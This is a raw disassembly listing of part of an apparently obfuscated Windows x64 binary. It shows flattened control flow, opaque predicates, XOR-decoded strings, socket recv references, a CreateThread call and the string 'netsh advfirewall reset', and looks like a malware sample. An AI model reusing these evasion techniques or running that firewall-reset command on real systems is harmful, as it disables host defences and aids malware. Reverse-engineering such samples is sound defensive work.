mov ecx, dword [0x1402b5e30]
mov r10d, dword [0x1402b5e34]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete r11b
cmp r10d, 0xa
setl dil
xor dil, r11b
mov r11d, 0x6b0cb917
mov edi, 0x54e53036
cmovne r11d, edi
test ecx, r9d
mov r9d, r11d
cmove r9d, edi
cmp r10d, 0xa
cmovge r9d, r11d
jmp 0x14002f5d0
cmp byte [rbp + 0x127], 0
mov r9d, 0x73c3298d
mov ecx, 0xe770601c
cmovne r9d, ecx
jmp 0x14002f5d0
mov r9d, 0xded928ca
jmp 0x14002f5d0
mov r9d, 0x1f03251
jmp 0x14002f5d0
movsxd rcx, dword [rbp + 0x1cc]
mov r9, qword [rbp + 0x1a0]
movsxd r10, r8d
imul r11, r10, 0xffffffff92492493
shr r11, 0x20
add r11d, r8d
mov edi, r11d
shr edi, 0x1f
shr r11d, 5
add r11d, edi
imul r11d, r11d, 0x38
mov edi, r8d
sub edi, r11d
add dil, 0x31
mov r11d, edi
xor r11b, dil
not r11b
and r11b, byte [r9 + rcx]
xor r11b, dil
mov rcx, qword [rbp + 0x1c0]
mov byte [rcx + r10], r11b
mov r9d, 0x628949d9
jmp 0x14002f5d0
mov r9d, 0x6f58a69
jmp 0x14002f5d0
mov r9d, dword [rbp + 0xf0]
cmp r9d, 0x39
setl byte [rbp + 0x127]
mov r9d, 0xb0fbe9de
jmp 0x14002f5d0
mov r9d, dword [0x1402b5e30]
mov r10d, dword [0x1402b5e34]
lea r11d, [r9 + 1]
imul r11d, r9d
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete r9b
cmp r10d, 0xa
setl cl
xor cl, r9b
mov ecx, 0x21a1680e
mov edi, 0x1f03251
cmovne ecx, edi
cmp r11d, 0xffffffff
mov r9d, ecx
cmove r9d, edi
cmp r10d, 0xa
cmovge r9d, ecx
jmp 0x14002f5d0
mov ecx, dword [0x1402b5e30]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
mov r9d, 0xcc7c0d6f
mov r11d, 0x32147593
cmove r9d, r11d
cmp dword [0x1402b5e34], 0xa
mov r10d, 0xcc7c0d6f
cmovge r9d, r10d
setl r10b
xor r10b, cl
cmovne r9d, r11d
jmp 0x14002f5d0
mov r9d, 0x54e53036
jmp 0x14002f5d0
mov qword [rbp + 0x1c0], rax
mov r9d, 0x74da6c2a
xor r8d, r8d
jmp 0x14002f5d0
mov r9d, 0x74da6c2a
mov r8d, dword [rbp + 0x140]
jmp 0x14002f5d0
cmp r9d, 0x42f1da3c
jne 0x14002f5d0
mov eax, 0x2161b090
jmp 0x14002f320
mov eax, 0x8d1e2215
jmp 0x14002f320
mov eax, dword [0x1402b5e28]
mov edx, dword [0x1402b5e2c]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete al
cmp edx, 0xa
setl r9b
xor r9b, al
mov r9d, 0x5e408a19
mov ecx, 0x2c074593
cmovne r9d, ecx
cmp r8d, 0xffffffff
jmp 0x14002fb73
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x138], rax
mov eax, 0xa02c743d
jmp 0x14002f320
mov eax, 0x455de9b8
jmp 0x14002f320
mov eax, 0xfcb6c37
jmp 0x14002f320
mov eax, dword [0x1402b5e28]
mov edx, dword [0x1402b5e2c]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r9b
cmp edx, 0xa
setl r10b
xor r10b, r9b
mov r9d, 0x5e408a19
mov ecx, 0x5140c74a
cmovne r9d, ecx
test eax, r8d
mov eax, r9d
cmove eax, ecx
cmp edx, 0xa
mov rdx, qword [rbp + 0x138]
mov qword [rbp + 0x198], rdx
cmovge eax, r9d
jmp 0x14002f320
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
lea rcx, [rbp + 0x148]
mov qword [rax], rcx
mov eax, dword [0x1402b5e28]
mov edx, dword [0x1402b5e2c]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r9b
cmp edx, 0xa
setl r10b
xor r10b, r9b
mov r9d, 0x26a6955d
mov ecx, 0x8a9474b3
cmovne r9d, ecx
test eax, r8d
mov eax, r9d
cmove eax, ecx
cmp edx, 0xa
cmovge eax, r9d
jmp 0x14002f320
mov eax, 0x373bdda7
jmp 0x14002f320
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0x190], rax
mov eax, 0xfbfddfe2
jmp 0x14002f320
mov rax, qword [rbp + 0x130]
mov rax, qword [rax]
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x188]
movzx eax, byte [rax + 0x38]
mov edx, 0xace9ee9f
nop dword [rax + rax]
cmp edx, 0xace9ee9f
je 0x14002fbe2
cmp edx, 0xa822bd5c
jne 0x14002fbd0
jmp 0x14002fbe9
mov edx, 0xa822bd5c
jmp 0x14002fbd0
mov byte [rbp + 0x1a0], al
cmp byte [rbp + 0x1a0], 0
mov eax, 0xf28b295a
mov ecx, 0x2161b090
cmove eax, ecx
jmp 0x14002f320
movzx edx, byte [rbp + 0x107]
movzx eax, byte [rbp + 0xf7]
mov r8d, eax
xor r8b, dl
test al, al
mov eax, 0x26a6955d
mov ecx, 0x455de9b8
cmovne eax, ecx
test dl, dl
mov edx, 0x26a6955d
cmove eax, edx
test r8b, r8b
cmovne eax, ecx
jmp 0x14002f320
cmp eax, 0x209386fd
jne 0x14002f320
mov rdx, qword [rbp + 0x190]
mov rsp, qword [rbp + 0xf8]
sub rsp, 0x20
lea rcx, [rbp + 0x1d0]
call fcn.1400015d0
add rsp, 0x20
mov eax, dword [0x1402b5e08]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5e0c], 0xa
setl cl
test cl, al
jne 0x140034e30
xor cl, al
jne 0x140034e30
sub rsp, 0x30
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
lea r8, [0x1401f13a0]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x30
mov qword [rbp + 0xf8], rsp
mov eax, 0x855fd505
mov edi, 0xa979251f
jmp 0x14002fcf0
mov eax, 0x709d70bc
nop word cs:[rax + rax]
cmp eax, 0xcb5e87a5
jle 0x140032080
cmp eax, 0x24f9b0f0
jg 0x1400343a0
cmp eax, 0xcb5e87a6
je 0x14002fcdd
cmp eax, 0x1c6bed9b
jne 0x14002fcf0
mov rdx, rsp
mov eax, dword [0x1402b5e10]
mov ecx, dword [0x1402b5e14]
lea r8d, [rax - 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete byte [rbp + 0x127]
cmp ecx, 0xa
setl byte [rbp + 0xf0]
mov eax, 0xaec169f1
jmp 0x14002fdc0
mov qword [rbp + 0x1c0], r9
mov rax, qword [rbp + 0x1c0]
xor al, 0x21
mov rcx, qword [rbp + 0x190]
mov byte [rcx], al
mov rax, qword [rbp + 0x190]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x198]
mov byte [rax + 0x18], 1
mov rax, qword [rbp + 0x198]
mov eax, dword [0x1402b5e10]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x2e8c7756
cmove eax, r15d
cmp dword [0x1402b5e14], 0xa
mov r8d, 0x2e8c7756
cmovge eax, r8d
setl r8b
xor r8b, cl
cmovne eax, r15d
nop
cmp eax, 0xe971b5c5
jle 0x14002fea0
cmp eax, 0x77df2d9
jle 0x14002ff00
cmp eax, 0x2e8c7756
je 0x140030fcf
cmp eax, 0x32a17146
jne 0x140032026
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x140], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x130], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x140]
lea rcx, str.netsh_advfirewall_reset
mov qword [rax], rcx
mov rax, qword [rbp + 0x130]
lea rcx, [rbp + 0x1a0]
mov qword [rax], rcx
mov eax, dword [0x1402b5e10]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xde83a59c
cmove eax, r13d
cmp dword [0x1402b5e14], 0xa
mov r8d, 0xde83a59c
cmovge eax, r8d
setl r8b
xor r8b, cl
cmovne eax, r13d
jmp 0x14002fdc0
cmp eax, 0xc7fab4d6
jg 0x14002ff20
cmp eax, 0x842d75b8
je 0x140030f76
cmp eax, 0xaec169f1
jne 0x14002fdc0
movzx ecx, byte [rbp + 0x127]
movzx eax, byte [rbp + 0xf0]
mov r8d, eax
xor r8b, cl
test al, al
mov eax, 0xde83a59c
cmovne eax, r14d
test cl, cl
mov ecx, 0xde83a59c
cmove eax, ecx
test r8b, r8b
cmovne eax, r14d
jmp 0x14002fdc0
cmp eax, 0xe971b5c6
je 0x14002ff40
cmp eax, 0xf1ce26f3
jne 0x14002fdc0
mov eax, 0x842d75b8
jmp 0x14002fdc0
cmp eax, 0xc7fab4d7
je 0x140030f91
cmp eax, 0xde83a59c
jne 0x14002fdc0
mov eax, 0x32a17146
jmp 0x14002fdc0
mov rax, qword [rbp + 0x140]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x138]
mov qword [rbp + 0x198], rcx
mov r8, qword [rbp + 0x198]
movzx ecx, byte [rax]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov ecx, 0xe597bc97
cmovne ecx, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov r9d, 0xbbb0bd52
nop
cmp r9d, 0xe597bc96
jle 0x14002fff0
cmp r9d, 0xe597bc97
je 0x14003000f
cmp r9d, 0xfa42bebb
je 0x14003001f
cmp r9d, 0x38980679
jne 0x14002ffc0
jmp 0x14003002c
cmp r9d, 0xbbb0bd52
je 0x140030027
cmp r9d, 0xc1647419
jne 0x14002ffc0
movsx r11, byte [rbp + 0x190]
mov r9d, ecx
jmp 0x14002ffc0
movzx r9d, byte [rbp + 0x190]
mov r9d, 0xc1647419
jmp 0x14002ffc0
mov r9d, 0x38980679
jmp 0x14002ffc0
mov r9d, r10d
jmp 0x14002ffc0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xb
mov byte [r8], cl
movzx ecx, byte [rax + 1]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
setne cl
sete r9b
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, r9b
or r10b, cl
xor r10b, 1
or r10b, r11b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x1400300d0
cmp ecx, 0xe597bc97
je 0x1400300ed
cmp ecx, 0xfa42bebb
je 0x1400300fb
cmp ecx, 0x38980679
jne 0x1400300a0
jmp 0x140030107
cmp ecx, 0xbbb0bd52
je 0x140030102
cmp ecx, 0xc1647419
jne 0x1400300a0
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x1400300a0
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x1400300a0
mov ecx, 0x38980679
jmp 0x1400300a0
mov ecx, r10d
jmp 0x1400300a0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xc
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 2]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x1400301b0
cmp ecx, 0xe597bc97
je 0x1400301cd
cmp ecx, 0xfa42bebb
je 0x1400301db
cmp ecx, 0x38980679
jne 0x140030180
jmp 0x1400301e7
cmp ecx, 0xbbb0bd52
je 0x1400301e2
cmp ecx, 0xc1647419
jne 0x140030180
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x140030180
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x140030180
mov ecx, 0x38980679
jmp 0x140030180
mov ecx, r10d
jmp 0x140030180
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xd
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 3]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
test r9b, 1
sete cl
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, cl
or r10b, r9b
not r10b
or r10b, r11b
test r10b, 1
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x140030290
cmp ecx, 0xe597bc97
je 0x1400302ad
cmp ecx, 0xfa42bebb
je 0x1400302bb
cmp ecx, 0x38980679
jne 0x140030260
jmp 0x1400302c7
cmp ecx, 0xbbb0bd52
je 0x1400302c2
cmp ecx, 0xc1647419
jne 0x140030260
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x140030260
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x140030260
mov ecx, 0x38980679
jmp 0x140030260
mov ecx, r10d
jmp 0x140030260
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xe
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 4]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
test r9b, 1
sete cl
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, cl
or r10b, r9b
not r10b
or r10b, r11b
test r10b, 1
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x140030370
cmp ecx, 0xe597bc97
je 0x14003038d
cmp ecx, 0xfa42bebb
je 0x14003039b
cmp ecx, 0x38980679
jne 0x140030340
jmp 0x1400303a7
cmp ecx, 0xbbb0bd52
je 0x1400303a2
cmp ecx, 0xc1647419
jne 0x140030340
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x140030340
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x140030340
mov ecx, 0x38980679
jmp 0x140030340
mov ecx, r10d
jmp 0x140030340
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xf
mov byte [r8 + 4], cl
add r8, 5
mov qword [rbp + 0x128], r8
movzx ecx, byte [rax + 5]
mov byte [rbp + 0x190], cl
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x140030410
cmp ecx, 0xe597bc97
je 0x14003042d
cmp ecx, 0xfa42bebb
je 0x14003043b
cmp ecx, 0x38980679
jne 0x1400303e0
jmp 0x140030447
cmp ecx, 0xbbb0bd52
je 0x140030442
cmp ecx, 0xc1647419
jne 0x1400303e0
movsx r8, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x1400303e0
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x1400303e0
mov ecx, 0x38980679
jmp 0x1400303e0
mov ecx, r10d
jmp 0x1400303e0
mov qword [rbp + 0x1c0], r8
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x10
mov r8, qword [rbp + 0x128]
mov byte [r8], cl
mov ecx, 0xf1d372ca
jmp 0x140030490
cmp ecx, 0x6a88e764
je 0x140030eb7
cmp ecx, 0xf1d372ca
jne 0x140030490
mov r8, qword [rbp + 0x128]
movzx ecx, byte [rax + 6]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
setne cl
sete r9b
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, r9b
or r10b, cl
xor r10b, 1
or r10b, r11b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140030540
cmp ecx, 0xe597bc97
je 0x14003055d
cmp ecx, 0xfa42bebb
je 0x14003056b
cmp ecx, 0x38980679
jne 0x140030510
jmp 0x140030577
cmp ecx, 0xbbb0bd52
je 0x140030572
cmp ecx, 0xc1647419
jne 0x140030510
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140030510
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140030510
mov ecx, 0x38980679
jmp 0x140030510
mov ecx, r10d
jmp 0x140030510
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x11
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 7]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x140030610
cmp ecx, 0xe597bc97
je 0x14003062d
cmp ecx, 0xfa42bebb
je 0x14003063b
cmp ecx, 0x38980679
jne 0x1400305e0
jmp 0x140030647
cmp ecx, 0xbbb0bd52
je 0x140030642
cmp ecx, 0xc1647419
jne 0x1400305e0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x1400305e0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x1400305e0
mov ecx, 0x38980679
jmp 0x1400305e0
mov ecx, r10d
jmp 0x1400305e0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x12
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 8]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x1400306f0
cmp ecx, 0xe597bc97
je 0x14003070d
cmp ecx, 0xfa42bebb
je 0x14003071b
cmp ecx, 0x38980679
jne 0x1400306c0
jmp 0x140030727
cmp ecx, 0xbbb0bd52
je 0x140030722
cmp ecx, 0xc1647419
jne 0x1400306c0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x1400306c0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x1400306c0
mov ecx, 0x38980679
jmp 0x1400306c0
mov ecx, r10d
jmp 0x1400306c0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x13
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 9]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x1400307c0
cmp ecx, 0xe597bc97
je 0x1400307dd
cmp ecx, 0xfa42bebb
je 0x1400307eb
cmp ecx, 0x38980679
jne 0x140030790
jmp 0x1400307f7
cmp ecx, 0xbbb0bd52
je 0x1400307f2
cmp ecx, 0xc1647419
jne 0x140030790
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140030790
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140030790
mov ecx, 0x38980679
jmp 0x140030790
mov ecx, r10d
jmp 0x140030790
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x14
mov byte [r8 + 4], cl
movzx ecx, byte [rax + 0xa]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140030850
cmp ecx, 0xe597bc97
je 0x14003086d
cmp ecx, 0xfa42bebb
je 0x14003087b
cmp ecx, 0x38980679
jne 0x140030820
jmp 0x140030887
cmp ecx, 0xbbb0bd52
je 0x140030882
cmp ecx, 0xc1647419
jne 0x140030820
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140030820
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140030820
mov ecx, 0x38980679
jmp 0x140030820
mov ecx, r10d
jmp 0x140030820
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x15
mov byte [r8 + 5], cl
movzx ecx, byte [rax + 0xb]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x1400308e0
cmp ecx, 0xe597bc97
je 0x1400308fd
cmp ecx, 0xfa42bebb
je 0x14003090b
cmp ecx, 0x38980679
jne 0x1400308b0
jmp 0x140030917
cmp ecx, 0xbbb0bd52
je 0x140030912
cmp ecx, 0xc1647419
jne 0x1400308b0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x1400308b0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x1400308b0
mov ecx, 0x38980679
jmp 0x1400308b0
mov ecx, r10d
jmp 0x1400308b0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x16
mov byte [r8 + 6], cl
movzx ecx, byte [rax + 0xc]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140030970
cmp ecx, 0xe597bc97
je 0x14003098d
cmp ecx, 0xfa42bebb
je 0x14003099b
cmp ecx, 0x38980679
jne 0x140030940
jmp 0x1400309a7
cmp ecx, 0xbbb0bd52
je 0x1400309a2
cmp ecx, 0xc1647419
jne 0x140030940
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140030940
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140030940
mov ecx, 0x38980679
jmp 0x140030940
mov ecx, r10d
jmp 0x140030940
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x17
mov byte [r8 + 7], cl
movzx ecx, byte [rax + 0xd]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140030a00
cmp ecx, 0xe597bc97
je 0x140030a1d
cmp ecx, 0xfa42bebb
je 0x140030a2b
cmp ecx, 0x38980679
jne 0x1400309d0
jmp 0x140030a37
cmp ecx, 0xbbb0bd52
je 0x140030a32
cmp ecx, 0xc1647419
jne 0x1400309d0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x1400309d0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x1400309d0
mov ecx, 0x38980679
jmp 0x1400309d0
mov ecx, r10d
jmp 0x1400309d0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x18
mov byte [r8 + 8], cl
movzx ecx, byte [rax + 0xe]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140030a90
cmp ecx, 0xe597bc97
je 0x140030aad
cmp ecx, 0xfa42bebb
je 0x140030abb
cmp ecx, 0x38980679
jne 0x140030a60
jmp 0x140030ac7
cmp ecx, 0xbbb0bd52
je 0x140030ac2
cmp ecx, 0xc1647419
jne 0x140030a60
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140030a60
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140030a60
mov ecx, 0x38980679
jmp 0x140030a60
mov ecx, r10d
jmp 0x140030a60
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x19
mov byte [r8 + 9], cl
movzx ecx, byte [rax + 0xf]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140030b20
cmp ecx, 0xe597bc97
je 0x140030b3d
cmp ecx, 0xfa42bebb
je 0x140030b4b
cmp ecx, 0x38980679
jne 0x140030af0
jmp 0x140030b57
cmp ecx, 0xbbb0bd52
je 0x140030b52
cmp ecx, 0xc1647419
jne 0x140030af0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140030af0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140030af0
mov ecx, 0x38980679
jmp 0x140030af0
mov ecx, r10d
jmp 0x140030af0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1a
mov byte [r8 + 0xa], cl
movzx ecx, byte [rax + 0x10]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140030bb0
cmp ecx, 0xe597bc97
je 0x140030bcd
cmp ecx, 0xfa42bebb
je 0x140030bdb
cmp ecx, 0x38980679
jne 0x140030b80
jmp 0x140030be7
cmp ecx, 0xbbb0bd52
je 0x140030be2
cmp ecx, 0xc1647419
jne 0x140030b80
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140030b80
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140030b80
mov ecx, 0x38980679
jmp 0x140030b80
mov ecx, r10d
jmp 0x140030b80
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1b
mov byte [r8 + 0xb], cl
movzx ecx, byte [rax + 0x11]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140030c40
cmp ecx, 0xe597bc97
je 0x140030c5d
cmp ecx, 0xfa42bebb
je 0x140030c6b
cmp ecx, 0x38980679
jne 0x140030c10
jmp 0x140030c77
cmp ecx, 0xbbb0bd52
je 0x140030c72
cmp ecx, 0xc1647419
jne 0x140030c10
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140030c10
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140030c10
mov ecx, 0x38980679
jmp 0x140030c10
mov ecx, r10d
jmp 0x140030c10
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1c
mov byte [r8 + 0xc], cl
movzx ecx, byte [rax + 0x12]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140030cd0
cmp ecx, 0xe597bc97
je 0x140030ced
cmp ecx, 0xfa42bebb
je 0x140030cfb
cmp ecx, 0x38980679
jne 0x140030ca0
jmp 0x140030d07
cmp ecx, 0xbbb0bd52
je 0x140030d02
cmp ecx, 0xc1647419
jne 0x140030ca0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140030ca0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140030ca0
mov ecx, 0x38980679
jmp 0x140030ca0
mov ecx, r10d
jmp 0x140030ca0
